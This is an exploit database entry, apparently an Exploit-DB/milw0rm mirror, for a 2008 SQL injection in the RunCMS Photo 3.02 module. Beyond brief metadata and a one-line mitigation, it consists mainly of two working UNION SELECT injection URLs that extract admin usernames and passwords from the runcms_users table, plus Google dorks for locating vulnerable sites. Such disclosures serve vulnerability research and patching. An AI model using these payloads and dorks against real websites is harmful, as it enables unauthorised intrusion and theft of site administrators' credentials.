RunCMS Module Photo 3.02 SQL injection

vendor:

Photo

by:

S@BUN

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Photo

Affected Version From: 03.02

Affected Version To: 03.02

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

RunCMS Module Photo 3.02 SQL injection

RunCMS Photo Version 3.02 module is vulnerable to SQL injection. An attacker can exploit this vulnerability to gain access to the admin credentials. The vulnerable parameter is 'id' in the URL 'modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*' and 'pass' in the URL 'modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*'. The Dorks used to find vulnerable sites are 'allinurl: "modules/photo/viewcat.php?id"' and 'inurl:photo "powered by runcms"'.

Mitigation:

The best way to mitigate this vulnerability is to ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

##########################################
#
# RunCMS Module Photo 3.02 SQL injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "modules/photo/viewcat.php?id"
#
# DORK 2 : inurl:photo "powered by runcms"
#
###########################################
EXPLOIT :

admin

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,uname/**/from/**/runcms_users/*

pass

modules/photo/viewcat.php?id=150&cid=-99999/**/union/**/select/**/0,pass/**/from/**/runcms_users/*

###########################################
RunCMS Photo Version : 3.02 module. #
###########################################
##################S@BUN####################
###########################################
#####hackturkiye.hackturkiye@gmail.com#####
###########################################
##http://my.opera.com/SQL-Injection/blog/##
###########################################

# milw0rm.com [2008-03-21]